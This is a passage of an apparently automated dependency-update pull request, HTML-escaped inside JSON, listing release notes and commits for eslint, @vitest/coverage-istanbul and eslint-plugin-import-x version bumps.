href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/21077\"\u003e#21077\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/202117be549534715d687f988e17f29e1dcd0622\"\u003e\u003ccode\u003e202117b\u003c/code\u003e\u003c/a\u003e chore: package.json update for \u003ccode\u003e@​eslint/js\u003c/code\u003e release (Jenkins)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/d9eb6edcc93c1319ff1d2bb9aeb6d7d47bd73a79\"\u003e\u003ccode\u003ed9eb6ed\u003c/code\u003e\u003c/a\u003e test: disable warning for \u003ccode\u003evm.constants.USE_MAIN_CONTEXT_DEFAULT_LOADER\u003c/code\u003e (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/21074\"\u003e#21074\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/7b431a7b19c345b8db56040b1888a3b531c3e64c\"\u003e\u003ccode\u003e7b431a7\u003c/code\u003e\u003c/a\u003e chore: override \u003ccode\u003ere2\u003c/code\u003e dependency for \u003ccode\u003e@metascraper/helpers\u003c/code\u003e (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/21068\"\u003e#21068\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/daf77911de33be163503c6568ccb159741f4b018\"\u003e\u003ccode\u003edaf7791\u003c/code\u003e\u003c/a\u003e chore: pin fflate@0.8.2 (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/20895\"\u003e#20895\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/daee8ba3082afbc94d3b69ddc129d4dc664716f2\"\u003e\u003ccode\u003edaee8ba\u003c/code\u003e\u003c/a\u003e ci: use pnpm in \u003ccode\u003eeslint-flat-config-utils\u003c/code\u003e type integration test (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/20829\"\u003e#20829\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/116d4bec7c0ddaeaa75f92fb1271a4ab70d24ce3\"\u003e\u003ccode\u003e116d4be\u003c/code\u003e\u003c/a\u003e ci: unpin Node.js 25.x in CI (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/20619\"\u003e#20619\u003c/a\u003e) (Copilot)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/202117be549534715d687f988e17f29e1dcd0622\"\u003e\u003ccode\u003e202117b\u003c/code\u003e\u003c/a\u003e chore: package.json update for \u003ccode\u003e@​eslint/js\u003c/code\u003e release\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/eslint/eslint/commits/v9.39.5/packages/js\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-istanbul` from 4.1.8 to 4.1.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-istanbul's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.10\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10680\"\u003evitest-dev/vitest#10680\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c18dd267\"\u003e\u003c!-- raw HTML omitted --\u003e(5c18d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evm\u003c/strong\u003e: Fix external module resolve error with deps optimizer query for encoded URI [backport to v4]  -  by \u003ca href=\"https://github.com/SveLil\"\u003e\u003ccode\u003e@​SveLil\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10661\"\u003evitest-dev/vitest#10661\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b511\"\u003e\u003c!-- raw HTML omitted --\u003e(bae52)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.9...v4.1.10\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.9\u003c/h2\u003e\n\u003ch3\u003e🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eDavid Harris\u003c/strong\u003e, \u003cstrong\u003eCodex\u003c/strong\u003eand \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10546\"\u003evitest-dev/vitest#10546\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c\"\u003e\u003c!-- raw HTML omitted --\u003e(a5180)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eWait for orchestrator readiness before resolving browser sessions [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10555\"\u003evitest-dev/vitest#10555\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651a\"\u003e\u003c!-- raw HTML omitted --\u003e(7fb29)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait for iframe tester readiness before preparing  [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10497\"\u003evitest-dev/vitest#10497\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10556\"\u003evitest-dev/vitest#10556\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fbc626c40\"\u003e\u003c!-- raw HTML omitted --\u003e(fbc62)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eHoist vi.mock() for vite-plus/test imports [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eLongYinan\u003c/strong\u003e, \u003cstrong\u003eClaude Opus 4.8\u003c/strong\u003e and \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10548\"\u003evitest-dev/vitest#10548\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/2c9559c02\"\u003e\u003c!-- raw HTML omitted --\u003e(2c955)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epool\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePrevent test run hang on worker crash  [backport to v4] - by \u003cstrong\u003eAri Perkkiö\u003c/strong\u003e and \u003cstrong\u003eJattioui Ismail\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10543\"\u003evitest-dev/vitest#10543\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10564\"\u003evitest-dev/vitest#10564\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587\"\u003e\u003c!-- raw HTML omitted --\u003e(934b0)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.8...v4.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/db616d227b6e0cb07a94f5d1bba262ee95db7e46\"\u003e\u003ccode\u003edb616d2\u003c/code\u003e\u003c/a\u003e chore: release v4.1.10 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul/issues/10718\"\u003e#10718\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a7a61e78c7d0718f00173cff6800a91a344457d4\"\u003e\u003ccode\u003ea7a61e7\u003c/code\u003e\u003c/a\u003e chore: release v4.1.9 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul/issues/10598\"\u003e#10598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.10/packages/coverage-istanbul\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 9.39.4 to 9.39.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev9.39.5\u003c/h2\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/253be16a79a4c78eec4e0eb461b574d60dbf6b11\"\u003e\u003ccode\u003e253be16\u003c/code\u003e\u003c/a\u003e fix: handle unavailable require cache (backport of \u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20812\"\u003e#20812\u003c/a\u003e to v9.x) (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21065\"\u003e#21065\u003c/a\u003e) (Eric)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/74930edd1ce0d246819edc72705101ec271da50b\"\u003e\u003ccode\u003e74930ed\u003c/code\u003e\u003c/a\u003e docs: switch build to Node.js 24 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20894\"\u003e#20894\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/eaec8bb6b1ca4b36985ee0222c457d4730d47a20\"\u003e\u003ccode\u003eeaec8bb\u003c/code\u003e\u003c/a\u003e docs: Add ESLint v9.x EOL notice (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20828\"\u003e#20828\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/458205f7d7a4769f32bec006eecc45c6a71be16a\"\u003e\u003ccode\u003e458205f\u003c/code\u003e\u003c/a\u003e chore: update \u003ccode\u003e@eslint/eslintrc\u003c/code\u003e and \u003ccode\u003e@eslint/js\u003c/code\u003e for v9.39.5 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21077\"\u003e#21077\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/202117be549534715d687f988e17f29e1dcd0622\"\u003e\u003ccode\u003e202117b\u003c/code\u003e\u003c/a\u003e chore: package.json update for \u003ccode\u003e@​eslint/js\u003c/code\u003e release (Jenkins)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/d9eb6edcc93c1319ff1d2bb9aeb6d7d47bd73a79\"\u003e\u003ccode\u003ed9eb6ed\u003c/code\u003e\u003c/a\u003e test: disable warning for \u003ccode\u003evm.constants.USE_MAIN_CONTEXT_DEFAULT_LOADER\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21074\"\u003e#21074\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/7b431a7b19c345b8db56040b1888a3b531c3e64c\"\u003e\u003ccode\u003e7b431a7\u003c/code\u003e\u003c/a\u003e chore: override \u003ccode\u003ere2\u003c/code\u003e dependency for \u003ccode\u003e@metascraper/helpers\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21068\"\u003e#21068\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/daf77911de33be163503c6568ccb159741f4b018\"\u003e\u003ccode\u003edaf7791\u003c/code\u003e\u003c/a\u003e chore: pin fflate@0.8.2 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20895\"\u003e#20895\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/daee8ba3082afbc94d3b69ddc129d4dc664716f2\"\u003e\u003ccode\u003edaee8ba\u003c/code\u003e\u003c/a\u003e ci: use pnpm in \u003ccode\u003eeslint-flat-config-utils\u003c/code\u003e type integration test (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20829\"\u003e#20829\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/116d4bec7c0ddaeaa75f92fb1271a4ab70d24ce3\"\u003e\u003ccode\u003e116d4be\u003c/code\u003e\u003c/a\u003e ci: unpin Node.js 25.x in CI (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20619\"\u003e#20619\u003c/a\u003e) (Copilot)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4a24e8c09d374d773a034e36b1d7a7fbe1216478\"\u003e\u003ccode\u003e4a24e8c\u003c/code\u003e\u003c/a\u003e 9.39.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/1fba874a1d011283904b403ee57ec0fa00c062a9\"\u003e\u003ccode\u003e1fba874\u003c/code\u003e\u003c/a\u003e Build: changelog update for 9.39.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/458205f7d7a4769f32bec006eecc45c6a71be16a\"\u003e\u003ccode\u003e458205f\u003c/code\u003e\u003c/a\u003e chore: update \u003ccode\u003e@eslint/eslintrc\u003c/code\u003e and \u003ccode\u003e@eslint/js\u003c/code\u003e for v9.39.5 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21077\"\u003e#21077\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/202117be549534715d687f988e17f29e1dcd0622\"\u003e\u003ccode\u003e202117b\u003c/code\u003e\u003c/a\u003e chore: package.json update for \u003ccode\u003e@​eslint/js\u003c/code\u003e release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/d9eb6edcc93c1319ff1d2bb9aeb6d7d47bd73a79\"\u003e\u003ccode\u003ed9eb6ed\u003c/code\u003e\u003c/a\u003e test: disable warning for \u003ccode\u003evm.constants.USE_MAIN_CONTEXT_DEFAULT_LOADER\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21\"\u003e#21\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/253be16a79a4c78eec4e0eb461b574d60dbf6b11\"\u003e\u003ccode\u003e253be16\u003c/code\u003e\u003c/a\u003e fix: handle unavailable require cache (backport of \u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20812\"\u003e#20812\u003c/a\u003e to v9.x) (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21065\"\u003e#21065\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/7b431a7b19c345b8db56040b1888a3b531c3e64c\"\u003e\u003ccode\u003e7b431a7\u003c/code\u003e\u003c/a\u003e chore: override \u003ccode\u003ere2\u003c/code\u003e dependency for \u003ccode\u003e@metascraper/helpers\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21068\"\u003e#21068\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/74930edd1ce0d246819edc72705101ec271da50b\"\u003e\u003ccode\u003e74930ed\u003c/code\u003e\u003c/a\u003e docs: switch build to Node.js 24 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20894\"\u003e#20894\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/daf77911de33be163503c6568ccb159741f4b018\"\u003e\u003ccode\u003edaf7791\u003c/code\u003e\u003c/a\u003e chore: pin fflate@0.8.2 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20895\"\u003e#20895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/eaec8bb6b1ca4b36985ee0222c457d4730d47a20\"\u003e\u003ccode\u003eeaec8bb\u003c/code\u003e\u003c/a\u003e docs: Add ESLint v9.x EOL notice (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20828\"\u003e#20828\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v9.39.4...v9.39.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-plugin-import-x` from 4.16.2 to 4.17.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/releases\"\u003eeslint-plugin-import-x's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.17.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/498\"\u003e#498\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/cf25a01c08d75449aeae6c6b4ee2e2c9af774462\"\u003e\u003ccode\u003ecf25a01\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/marcalexiei\"\u003e\u003ccode\u003e@​marcalexiei\u003c/code\u003e\u003c/a\u003e! - fix(extensions): don't require an extension for package subpaths that resolve to a \u003ccode\u003e.d.ts\u003c/code\u003e (e.g. \u003ccode\u003evitest/config\u003c/code\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.17.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/474\"\u003e#474\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/4b2c0c50577ba5b38823fb6d2b1f7e0e2cb9b760\"\u003e\u003ccode\u003e4b2c0c5\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/regseb\"\u003e\u003ccode\u003e@​regseb\u003c/code\u003e\u003c/a\u003e! - Support \u003ccode\u003eRegExp\u003c/code\u003e in the \u003ccode\u003eimport-x/ignore\u003c/code\u003e setting and the \u003ccode\u003eignore\u003c/code\u003e option of the \u003ccode\u003eno-unresolved\u003c/code\u003e rule.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/494\"\u003e#494\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/1c84235057e693f107352b2874c5e9bc6d974e75\"\u003e\u003ccode\u003e1c84235\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/morgan-coded\"\u003e\u003ccode\u003e@​morgan-coded\u003c/code\u003e\u003c/a\u003e! - Fixed \u003ccode\u003eno-unresolved\u003c/code\u003e crashing when case-sensitive path checks encounter \u003ccode\u003eEACCES\u003c/code\u003e or \u003ccode\u003eEPERM\u003c/code\u003e on an ancestor directory.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/481\"\u003e#481\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/3e131214f1a027858ce87d146576b243f6acad0c\"\u003e\u003ccode\u003e3e13121\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/B4nan\"\u003e\u003ccode\u003e@​B4nan\u003c/code\u003e\u003c/a\u003e! - fix: memoize legacyNodeResolve resolver to avoid native memory leak\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/484\"\u003e#484\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/9a070094ac6e3c5891762acebe882281b022501d\"\u003e\u003ccode\u003e9a07009\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/sairus2k\"\u003e\u003ccode\u003e@​sairus2k\u003c/code\u003e\u003c/a\u003e! - Make the \u003ccode\u003eextensions\u003c/code\u003e rule check Node.js subpath imports (specifiers starting with \u003ccode\u003e#\u003c/code\u003e, e.g. \u003ccode\u003e#utils/helper\u003c/code\u003e). Previously \u003ccode\u003eparsePath\u003c/code\u003e treated a leading \u003ccode\u003e#\u003c/code\u003e as a URL hash fragment, so the rule skipped extension validation for these imports.\u003c/p\u003e\n\u003cp\u003eNote: single-segment subpath imports without a slash (e.g. \u003ccode\u003e#dep\u003c/code\u003e) are still skipped by the existing external-root-module classification; fixing that is deferred to avoid expanding scope.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/468\"\u003e#468\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/240ed58cb3d699c5107af065d8482a5c902a2f95\"\u003e\u003ccode\u003e240ed58\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/silverwind\"\u003e\u003ccode\u003e@​silverwind\u003c/code\u003e\u003c/a\u003e! - Make \u003ccode\u003eextensions\u003c/code\u003e handle \u003ccode\u003e.d.ts\u003c/code\u003e correctly\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/479\"\u003e#479\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/e3cc7e458fe8440fdac291beba9f09ab216ec682\"\u003e\u003ccode\u003ee3cc7e4\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e! - fix: strip querystrings and hash fragments when checking for file existence\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/476\"\u003e#476\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/fce29b1bb7c1f57f18beb5f0ac5636b14ab848dc\"\u003e\u003ccode\u003efce29b1\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/nbouvrette\"\u003e\u003ccode\u003e@​nbouvrette\u003c/code\u003e\u003c/a\u003e! - fix(deps): replace \u003ccode\u003e@​package-json/types\u003c/code\u003e with an inline minimal type\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/blob/master/CHANGELOG.md\"\u003eeslint-plugin-import-x's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.17.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/498\"\u003e#498\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/cf25a01c08d75449aeae6c6b4ee2e2c9af774462\"\u003e\u003ccode\u003ecf25a01\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/marcalexiei\"\u003e\u003ccode\u003e@​marcalexiei\u003c/code\u003e\u003c/a\u003e! - fix(extensions): don't require an extension for package subpaths that resolve to a \u003ccode\u003e.d.ts\u003c/code\u003e (e.g. \u003ccode\u003evitest/config\u003c/code\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.17.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/474\"\u003e#474\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/4b2c0c50577ba5b38823fb6d2b1f7e0e2cb9b760\"\u003e\u003ccode\u003e4b2c0c5\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/regseb\"\u003e\u003ccode\u003e@​regseb\u003c/code\u003e\u003c/a\u003e! - Support \u003ccode\u003eRegExp\u003c/code\u003e in the \u003ccode\u003eimport-x/ignore\u003c/code\u003e setting and the \u003ccode\u003eignore\u003c/code\u003e option of the \u003ccode\u003eno-unresolved\u003c/code\u003e rule.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/494\"\u003e#494\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/1c84235057e693f107352b2874c5e9bc6d974e75\"\u003e\u003ccode\u003e1c84235\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/morgan-coded\"\u003e\u003ccode\u003e@​morgan-coded\u003c/code\u003e\u003c/a\u003e! - Fixed \u003ccode\u003eno-unresolved\u003c/code\u003e crashing when case-sensitive path checks encounter \u003ccode\u003eEACCES\u003c/code\u003e or \u003ccode\u003eEPERM\u003c/code\u003e on an ancestor directory.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/un-ts/eslint-plugin-import-x/pull/481\"\u003e#481\u003c/a\u003e \u003ca href=\"https://github.com/un-ts/eslint-plugin-import-x/commit/3e131214f1a027858ce87d146576b243f6acad0c\"\u003e\u003ccode\u003e3e13121\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/B4nan\"\u003e\u003ccode\u003e@​B4nan\u003c/code\u003e\u003c/a\u003e! - fix: memoize legacyNodeResolve resolver to avoid native memory 